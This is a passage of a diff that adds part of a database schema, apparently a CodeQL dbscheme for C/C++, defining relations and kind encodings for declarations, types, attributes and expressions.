+#keyset[id, type_id]
+fun_decls(
+ int id: @fun_decl,
+ int function: @function ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+ int id: @fun_decl ref,
+ string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+ int fun_decl: @fun_decl ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+ int fun_decl: @fun_decl ref,
+ int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+ unique int fun_decl: @fun_decl ref,
+ int typedeftype_id: @usertype ref
+);
+
+/*
+case @fun_requires.kind of
+ 1 = @template_attached
+| 2 = @function_attached
+;
+*/
+
+fun_requires(
+ int id: @fun_decl ref,
+ int kind: int ref,
+ int constraint: @expr ref
+);
+
+param_decl_bind(
+ unique int id: @var_decl ref,
+ int index: int ref,
+ int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+ int id: @var_decl,
+ int variable: @variable ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_specialized(int id: @var_decl ref);
+var_decl_specifiers(
+ int id: @var_decl ref,
+ string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+var_requires(
+ int id: @var_decl ref,
+ int constraint: @expr ref
+);
+
+type_decls(
+ unique int id: @type_decl,
+ int type_id: @type ref,
+ int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+ unique int type_decl: @type_decl ref
+);
+type_requires(
+ int id: @type_decl ref,
+ int constraint: @expr ref
+);
+
+namespace_decls(
+ unique int id: @namespace_decl,
+ int namespace_id: @namespace ref,
+ int location: @location_default ref,
+ int bodylocation: @location_default ref
+);
+
+case @using.kind of
+ 1 = @using_declaration
+| 2 = @using_directive
+| 3 = @using_enum_declaration
+;
+
+usings(
+ unique int id: @using,
+ int element_id: @element ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+ int parent: @element ref,
+ int child: @using ref
+);
+
+static_asserts(
+ unique int id: @static_assert,
+ int condition : @expr ref,
+ string message : string ref,
+ int location: @location_default ref,
+ int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+ int id: @parameter,
+ int function: @parameterized_element ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+overrides(
+ int new: @function ref,
+ int old: @function ref
+);
+
+#keyset[id, type_id]
+membervariables(
+ int id: @membervariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+ int id: @globalvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+ int id: @localvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+autoderivation(
+ unique int var: @variable ref,
+ int derivation_type: @type ref
+);
+
+orphaned_variables(
+ int var: @localvariable ref,
+ int function: @function ref
+)
+
+enumconstants(
+ unique int id: @enumconstant,
+ int parent: @usertype ref,
+ int index: int ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/**
+ * Built-in types are the fundamental types, e.g., integral, floating, and void.
+ */
+case @builtintype.kind of
+ 1 = @errortype
+| 2 = @unknowntype
+| 3 = @void
+| 4 = @boolean
+| 5 = @char
+| 6 = @unsigned_char
+| 7 = @signed_char
+| 8 = @short
+| 9 = @unsigned_short
+| 10 = @signed_short
+| 11 = @int
+| 12 = @unsigned_int
+| 13 = @signed_int
+| 14 = @long
+| 15 = @unsigned_long
+| 16 = @signed_long
+| 17 = @long_long
+| 18 = @unsigned_long_long
+| 19 = @signed_long_long
+// ... 20 Microsoft-specific __int8
+// ... 21 Microsoft-specific __int16
+// ... 22 Microsoft-specific __int32
+// ... 23 Microsoft-specific __int64
+| 24 = @float
+| 25 = @double
+| 26 = @long_double
+| 27 = @complex_float // C99-specific _Complex float
+| 28 = @complex_double // C99-specific _Complex double
+| 29 = @complex_long_double // C99-specific _Complex long double
+| 30 = @imaginary_float // C99-specific _Imaginary float
+| 31 = @imaginary_double // C99-specific _Imaginary double
+| 32 = @imaginary_long_double // C99-specific _Imaginary long double
+| 33 = @wchar_t // Microsoft-specific
+| 34 = @decltype_nullptr // C++11
+| 35 = @int128 // __int128
+| 36 = @unsigned_int128 // unsigned __int128
+| 37 = @signed_int128 // signed __int128
+| 38 = @float128 // __float128
+| 39 = @complex_float128 // _Complex __float128
+| 40 = @decimal32 // _Decimal32
+| 41 = @decimal64 // _Decimal64
+| 42 = @decimal128 // _Decimal128
+| 43 = @char16_t
+| 44 = @char32_t
+| 45 = @std_float32 // _Float32
+| 46 = @float32x // _Float32x
+| 47 = @std_float64 // _Float64
+| 48 = @float64x // _Float64x
+| 49 = @std_float128 // _Float128
+// ... 50 _Float128x
+| 51 = @char8_t
+| 52 = @float16 // _Float16
+| 53 = @complex_float16 // _Complex _Float16
+| 54 = @fp16 // __fp16
+| 55 = @std_bfloat16 // __bf16
+| 56 = @std_float16 // std::float16_t
+| 57 = @complex_std_float32 // _Complex _Float32
+| 58 = @complex_float32x // _Complex _Float32x
+| 59 = @complex_std_float64 // _Complex _Float64
+| 60 = @complex_float64x // _Complex _Float64x
+| 61 = @complex_std_float128 // _Complex _Float128
+| 62 = @mfp8 // __mfp8
+;
+
+builtintypes(
+ unique int id: @builtintype,
+ string name: string ref,
+ int kind: int ref,
+ int size: int ref,
+ int sign: int ref,
+ int alignment: int ref
+);
+
+/**
+ * Derived types are types that are directly derived from existing types and
+ * point to, refer to, transform type data to return a new type.
+ */
+case @derivedtype.kind of
+ 1 = @pointer
+| 2 = @reference
+| 3 = @type_with_specifiers
+| 4 = @array
+| 5 = @gnu_vector
+| 6 = @routineptr
+| 7 = @routinereference
+| 8 = @rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+| 10 = @block
+;
+
+derivedtypes(
+ unique int id: @derivedtype,
+ string name: string ref,
+ int kind: int ref,
+ int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+ int size: int ref,
+ int alignment: int ref);
+
+arraysizes(
+ unique int id: @derivedtype ref,
+ int num_elements: int ref,
+ int bytesize: int ref,
+ int alignment: int ref
+);
+
+typedefbase(
+ unique int id: @usertype ref,
+ int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual`
+ * operator taking an expression as its argument. For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * typeof(1+a) c;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * changes the semantics of the decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+
+/*
+case @decltype.kind of
+| 0 = @decltype
+| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+;
+*/
+
+#keyset[id, expr]
+decltypes(
+ int id: @decltype,
+ int expr: @expr ref,
+ int kind: int ref,
+ int base_type: @type ref,
+ boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+case @type_operator.kind of
+| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+| 1 = @underlying_type
+| 2 = @bases
+| 3 = @direct_bases
+| 4 = @add_lvalue_reference
+| 5 = @add_pointer
+| 6 = @add_rvalue_reference
+| 7 = @decay
+| 8 = @make_signed
+| 9 = @make_unsigned
+| 10 = @remove_all_extents
+| 11 = @remove_const
+| 12 = @remove_cv
+| 13 = @remove_cvref
+| 14 = @remove_extent
+| 15 = @remove_pointer
+| 16 = @remove_reference_t
+| 17 = @remove_restrict
+| 18 = @remove_volatile
+| 19 = @remove_reference
+;
+*/
+
+type_operators(
+ unique int id: @type_operator,
+ int arg_type: @type ref,
+ int kind: int ref,
+ int base_type: @type ref
+)
+
+/*
+case @usertype.kind of
+| 0 = @unknown_usertype
+| 1 = @struct
+| 2 = @class
+| 3 = @union
+| 4 = @enum
+// ... 5 = @typedef deprecated // classic C: typedef typedef type name
+// ... 6 = @template deprecated
+| 7 = @template_parameter
+| 8 = @template_template_parameter
+| 9 = @proxy_class // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+| 13 = @scoped_enum
+// ... 14 = @using_alias deprecated // a using name = type style typedef
+| 15 = @template_struct
+| 16 = @template_class
+| 17 = @template_union
+| 18 = @alias
+;
+*/
+
+usertypes(
+ unique int id: @usertype,
+ string name: string ref,
+ int kind: int ref
+);
+
+usertypesize(
+ unique int id: @usertype ref,
+ int size: int ref,
+ int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+ unique int id: @usertype ref,
+ string uuid: string ref
+);
+
+/*
+case @usertype.alias_kind of
+| 0 = @typedef
+| 1 = @alias
+*/
+
+usertype_alias_kind(
+ int id: @usertype ref,
+ int alias_kind: int ref
+)
+
+nontype_template_parameters(
+ int id: @expr ref
+);
+
+type_template_type_constraint(
+ int id: @usertype ref,
+ int constraint: @expr ref
+);
+
+mangled_name(
+ unique int id: @declaration ref,
+ int mangled_name : @mangledname,
+ boolean is_complete: boolean ref
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+class_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+class_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@user_or_decltype = @usertype | @decltype;
+
+is_proxy_class_for(
+ unique int id: @usertype ref,
+ int templ_param_id: @user_or_decltype ref
+);
+
+type_mentions(
+ unique int id: @type_mention,
+ int type_id: @type ref,
+ int location: @location ref,
+ // a_symbol_reference_kind from the frontend.
+ int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+ unique int to: @function ref,
+ int from: @function ref
+);
+function_template_argument(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+function_template_argument_value(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+ unique int to: @variable ref,
+ int from: @variable ref
+);
+variable_template_argument(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+variable_template_argument_value(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+template_template_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+template_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+template_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@concept = @concept_template | @concept_id;
+
+concept_templates(
+ unique int concept_id: @concept_template,
+ string name: string ref,
+ int location: @location_default ref
+);
+concept_instantiation(
+ unique int to: @concept_id ref,
+ int from: @concept_template ref
+);
+is_type_constraint(int concept_id: @concept_id ref);
+concept_template_argument(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+concept_template_argument_value(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+routinetypes(
+ unique int id: @routinetype,
+ int return_type: @type ref
+);
+
+routinetypeargs(
+ int routine: @routinetype ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+ptrtomembers(
+ unique int id: @ptrtomember,
+ int type_id: @type ref,
+ int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+ "public",
+ "protected",
+ "private",
+
+ "const",
+ "volatile",
+ "static",
+
+ "pure",
+ "virtual",
+ "sealed", // Microsoft
+ "__interface", // Microsoft
+ "inline",
+ "explicit",
+
+ "near", // near far extension
+ "far", // near far extension
+ "__ptr32", // Microsoft
+ "__ptr64", // Microsoft
+ "__sptr", // Microsoft
+ "__uptr", // Microsoft
+ "dllimport", // Microsoft
+ "dllexport", // Microsoft
+ "thread", // Microsoft
+ "naked", // Microsoft
+ "microsoft_inline", // Microsoft
+ "forceinline", // Microsoft
+ "selectany", // Microsoft
+ "nothrow", // Microsoft
+ "novtable", // Microsoft
+ "noreturn", // Microsoft
+ "noinline", // Microsoft
+ "noalias", // Microsoft
+ "restrict", // Microsoft
+*/
+
+specifiers(
+ unique int id: @specifier,
+ unique string str: string ref
+);
+
+typespecifiers(
+ int type_id: @type ref,
+ int spec_id: @specifier ref
+);
+
+funspecifiers(
+ int func_id: @function ref,
+ int spec_id: @specifier ref
+);
+
+varspecifiers(
+ int var_id: @accessible ref,
+ int spec_id: @specifier ref
+);
+
+explicit_specifier_exprs(
+ unique int func_id: @function ref,
+ int constant: @expr ref
+)
+
+attributes(
+ unique int id: @attribute,
+ int kind: int ref,
+ string name: string ref,
+ string name_space: string ref,
+ int location: @location_default ref
+);
+
+case @attribute.kind of
+ 0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+ unique int id: @attribute_arg,
+ int kind: int ref,
+ int attribute: @attribute ref,
+ int index: int ref,
+ int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+ 0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+| 4 = @attribute_arg_constant_expr
+| 5 = @attribute_arg_expr
+;
+
+attribute_arg_value(
+ unique int arg: @attribute_arg ref,
+ string value: string ref
+);
+attribute_arg_type(
+ unique int arg: @attribute_arg ref,
+ int type_id: @type ref
+);
+attribute_arg_constant(
+ unique int arg: @attribute_arg ref,
+ int constant: @expr ref
+)
+attribute_arg_expr(
+ unique int arg: @attribute_arg ref,
+ int expr: @expr ref
+)
+attribute_arg_name(
+ unique int arg: @attribute_arg ref,
+ string name: string ref
+);
+
+typeattributes(
+ int type_id: @type ref,
+ int spec_id: @attribute ref
+);
+
+funcattributes(
+ int func_id: @function ref,
+ int spec_id: @attribute ref
+);
+
+varattributes(
+ int var_id: @accessible ref,
+ int spec_id: @attribute ref
+);
+
+stmtattributes(
+ int stmt_id: @stmt ref,
+ int spec_id: @attribute ref
+);
+
+@type = @builtintype
+ | @derivedtype
+ | @usertype
+ | @routinetype
+ | @ptrtomember
+ | @decltype
+ | @type_operator;
+
+unspecifiedtype(
+ unique int type_id: @type ref,
+ int unspecified_type_id: @type ref
+);
+
+member(
+ int parent: @type ref,
+ int index: int ref,
+ int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+ unique int child: @enclosingfunction_child ref,
+ int parent: @function ref
+);
+
+derivations(
+ unique int derivation: @derivation,
+ int sub: @type ref,
+ int index: int ref,
+ int super: @type ref,
+ int location: @location_default ref
+);
+
+derspecifiers(
+ int der_id: @derivation ref,
+ int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+ unique int der_id: @derivation ref,
+ int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+ int sub: @usertype ref,
+ int super: @usertype ref,
+ int offset: int ref
+);
+
+frienddecls(
+ unique int id: @frienddecl,
+ int type_id: @type ref,
+ int decl_id: @declaration ref,
+ int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+ | @declaredtype
+ | @variable
+ | @enumconstant
+ | @frienddecl
+ | @concept_template;
+
+@member = @membervariable
+ | @function
+ | @declaredtype
+ | @enumconstant;
+
+@locatable = @diagnostic
+ | @declaration
+ | @ppd_include
+ | @ppd_define
+ | @macroinvocation
+ /*| @funcall*/
+ | @xmllocatable
+ | @attribute
+ | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+ | @file
+ | @folder
+ | @specifier
+ | @type
+ | @expr
+ | @namespace
+ | @initialiser
+ | @stmt
+ | @derivation
+ | @comment
+ | @preprocdirect
+ | @fun_decl
+ | @var_decl
+ | @type_decl
+ | @namespace_decl
+ | @using
+ | @namequalifier
+ | @specialnamequalifyingelement
+ | @static_assert
+ | @type_mention
+ | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+ unique int id: @comment,
+ string contents: string ref,
+ int location: @location_default ref
+);
+
+commentbinding(
+ int id: @comment ref,
+ int element: @element ref
+);
+
+exprconv(
+ int converted: @expr ref,
+ unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+ int element: @element ref,
+ int i: int ref,
+ int destructor_call: @routineexpr ref
+);
+
+namespaces(
+ unique int id: @namespace,
+ string name: string ref
+);
+
+namespace_inline(
+ unique int id: @namespace ref
+);
+
+namespacembrs(
+ int parentid: @namespace ref,
+ unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+ int expr_id: @expr ref,
+ int child_index: int ref,
+ int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+ | @const_cast
+ | @dynamic_cast
+ | @reinterpret_cast
+ | @static_cast
+ ;
+
+/*
+case @conversion.kind of
+ 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion // conversion to 'bool'
+| 2 = @base_class_conversion // a derived-to-base conversion
+| 3 = @derived_class_conversion // a base-to-derived conversion
+| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+ unique int expr_id: @cast ref,
+ int kind: int ref
+);
+
+@conversion = @cast
+ | @array_to_pointer
+ | @parexpr
+ | @reference_to
+ | @ref_indirect
+ | @temp_init
+ | @c11_generic
+ ;
+
+/*
+case @funbindexpr.kind of
+ 0 = @normal_call // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call // a call whose target is only found by ADL
+;
+*/
+iscall(
+ unique int caller: @funbindexpr ref,
+ int kind: int ref
+);
+
+numtemplatearguments(
+ unique int expr_id: @expr ref,
+ int num: int ref
+);
+
+specialnamequalifyingelements(
+ unique int id: @specialnamequalifyingelement,
+ unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+ | @specialnamequalifyingelement
+ | @usertype;
+
+namequalifiers(
+ unique int id: @namequalifier,
+ unique int qualifiableelement: @namequalifiableelement ref,
+ int qualifyingelement: @namequalifyingelement ref,
+ int location: @location_default ref
+);
+
+varbind(
+ int expr: @varbindexpr ref,
+ int var: @accessible ref
+);
+
+funbind(
+ int expr: @funbindexpr ref,
+ int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+ | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+ | @delete_expr
+ | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+ | @unaryplusexpr
+ | @conjugation
+ | @realpartexpr
+ | @imagpartexpr
+ | @crement_expr
+ ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+ | @indirect
+ | @un_arith_op_expr
+ | @un_bitwise_op_expr
+ | @builtinaddressof
+ | @vec_fill
+ | @un_log_op_expr
+ | @co_await
+ | @co_yield
+ ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+ | @ltexpr
+ | @geexpr
+ | @leexpr
+ | @spaceshipexpr
+ ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+ | @rshiftexpr
+ | @andexpr
+ | @orexpr
+ | @xorexpr
+ ;
+
+@p_arith_op_expr = @paddexpr
+ | @psubexpr
+ | @pdiffexpr
+ ;
+
+@bin_arith_op_expr = @addexpr
+ | @subexpr
+ | @mulexpr
+ | @divexpr
+ | @remexpr
+ | @jmulexpr
+ | @jdivexpr
+ | @fjaddexpr
+ | @jfaddexpr
+ | @fjsubexpr
+ | @jfsubexpr
+ | @minexpr
+ | @maxexpr
+ | @p_arith_op_expr
+ ;
+
+@bin_op_expr = @bin_arith_op_expr
+ | @bin_bitwise_op_expr
+ | @cmp_op_expr
+ | @bin_log_op_expr
+ ;
+
+@op_expr = @un_op_expr
+ | @bin_op_expr
+ | @assign_expr
+ | @conditionalexpr
+ ;
+
+@assign_arith_expr = @assignaddexpr
+ | @assignsubexpr
+ | @assignmulexpr
+ | @assigndivexpr
+ | @assignremexpr
+ ;
+
+@assign_bitwise_expr = @assignandexpr
+ | @assignorexpr
+ | @assignxorexpr
+ | @assignlshiftexpr
+ | @assignrshiftexpr
+ ;
+
+@assign_pointer_expr = @assignpaddexpr
+ | @assignpsubexpr
+ ;
+
+@assign_op_expr = @assign_arith_expr
+ | @assign_bitwise_expr
+ | @assign_pointer_expr
+ ;
+
+@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr
+
+/*
+ Binary encoding of the allocator form.
+
+ case @allocator.form of
+ 0 = plain
+ | 1 = alignment
+ ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+ unique int expr: @any_new_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/*
+ Binary encoding of the deallocator form.
+
+ case @deallocator.form of
+ 0 = plain
+ | 1 = size
+ | 2 = alignment
+ | 4 = destroying_delete
+ ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+ unique int expr: @new_or_delete_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+ unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+ unique int cond: @conditionalexpr ref,
+ int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+ unique int cond: @conditionalexpr ref,
+ int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+ unique int cond: @conditionalexpr ref,
+ int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+ unique int id: @value,
+ string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+ unique int id: @value ref,
+ string text: string ref
+);
+
+valuebind(
+ int val: @value ref,
+ unique int expr: @expr ref
+);
+
+fieldoffsets(
+ unique int id: @variable ref,
+ int byteoffset: int ref,
+ int bitoffset: int ref
+);
+
+bitfield(
+ unique int id: @variable ref,
+ int bits: int ref,
+ int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+ int member: @expr ref,
+ int prefix: @expr ref
+);
+*/
+
+/*
+ kind(1) = mbrcallexpr
+ kind(2) = mbrptrcallexpr
+ kind(3) = mbrptrmbrcallexpr
+ kind(4) = ptrmbrptrmbrcallexpr
+ kind(5) = mbrreadexpr // x.y
+ kind(6) = mbrptrreadexpr // p->y
+ kind(7) = mbrptrmbrreadexpr // x.*pm
+ kind(8) = mbrptrmbrptrreadexpr // x->*pm
+ kind(9) = staticmbrreadexpr // static x.y
+ kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+ int member: @expr ref,
+ int kind: int ref
+);
+*/
+
+initialisers(
+ unique int init: @initialiser,
+ int var: @accessible ref,
+ unique int expr: @expr ref,
+ int location: @location_expr ref
+);
+
+braced_initialisers(
+ int init: @initialiser ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+ int exp: @expr ref,
+ int ancestor: @element ref
+);
+
+exprs(
+ unique int id: @expr,
+ int kind: int ref,
+ int location: @location_expr ref
+);
+
+expr_reuse(
+ int reuse: @expr ref,
+ int original: @expr ref,
+ int value_category: int ref
+)
+
+/*
+ case @value.category of
+ 1 = prval
+ | 2 = xval
+ | 3 = lval
+ ;
+*/
+expr_types(
+ int id: @expr ref,
+ int typeid: @type ref,
+ int value_category: int ref
+);
+
+case @expr.kind of
+ 1 = @errorexpr
+| 2 = @address_of // & AddressOfExpr
+| 3 = @reference_to // ReferenceToExpr (implicit?)
+| 4 = @indirect // * PointerDereferenceExpr
+| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+| 8 = @array_to_pointer // (???)
+| 9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+| 11 = @assume // Microsoft
+| 12 = @parexpr
+| 13 = @arithnegexpr
+| 14 = @unaryplusexpr
+| 15 = @complementexpr
+| 16 = @notexpr
+| 17 = @conjugation // GNU ~ operator
+| 18 = @realpartexpr // GNU __real
+| 19 = @imagpartexpr // GNU __imag
+| 20 = @postincrexpr
+| 21 = @postdecrexpr
+| 22 = @preincrexpr
+| 23 = @predecrexpr
+| 24 = @conditionalexpr
+| 25 = @addexpr
+| 26 = @subexpr
+| 27 = @mulexpr
+| 28 = @divexpr
+| 29 = @remexpr
+| 30 = @jmulexpr // C99 mul imaginary
+| 31 = @jdivexpr // C99 div imaginary
+| 32 = @fjaddexpr // C99 add real + imaginary
+| 33 = @jfaddexpr // C99 add imaginary + real
+| 34 = @fjsubexpr // C99 sub real - imaginary
+| 35 = @jfsubexpr // C99 sub imaginary - real
+| 36 = @paddexpr // pointer add (pointer + int or int + pointer)
+| 37 = @psubexpr // pointer sub (pointer - integer)
+| 38 = @pdiffexpr // difference between two pointers
+| 39 = @lshiftexpr
+| 40 = @rshiftexpr
+| 41 = @andexpr
+| 42 = @orexpr
+| 43 = @xorexpr
+| 44 = @eqexpr
+| 45 = @neexpr
+| 46 = @gtexpr
+| 47 = @ltexpr
+| 48 = @geexpr
+| 49 = @leexpr
+| 50 = @minexpr // GNU minimum
+| 51 = @maxexpr // GNU maximum
+| 52 = @assignexpr
+| 53 = @assignaddexpr
+| 54 = @assignsubexpr
+| 55 = @assignmulexpr
+| 56 = @assigndivexpr
+| 57 = @assignremexpr
+| 58 = @assignlshiftexpr
+| 59 = @assignrshiftexpr
+| 60 = @assignandexpr
+| 61 = @assignorexpr
+| 62 = @assignxorexpr
+| 63 = @assignpaddexpr // assign pointer add
+| 64 = @assignpsubexpr // assign pointer sub
+| 65 = @andlogicalexpr
+| 66 = @orlogicalexpr
+| 67 = @commaexpr
+| 68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ... 69 @objc_subscriptexpr deprecated
+// ... 70 @cmdaccess deprecated
+// ...
+| 73 = @virtfunptrexpr
+| 74 = @callexpr
+// ... 75 @msgexpr_normal deprecated
+// ... 76 @msgexpr_super deprecated
+// ... 77 @atselectorexpr deprecated
+// ... 78 @atprotocolexpr deprecated
+| 79 = @vastartexpr
+| 80 = @vaargexpr
+| 81 = @vaendexpr
+| 82 = @vacopyexpr
+// ... 83 @atencodeexpr deprecated
+| 84 = @varaccess
+| 85 = @thisaccess
+// ... 86 @objc_box_expr deprecated
+| 87 = @new_expr
+| 88 = @delete_expr
+| 89 = @throw_expr
+| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+| 91 = @braced_init_list
+| 92 = @type_id
+| 93 = @runtime_sizeof
+| 94 = @runtime_alignof
+| 95 = @sizeof_pack
+| 96 = @expr_stmt // GNU extension
+| 97 = @routineexpr
+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
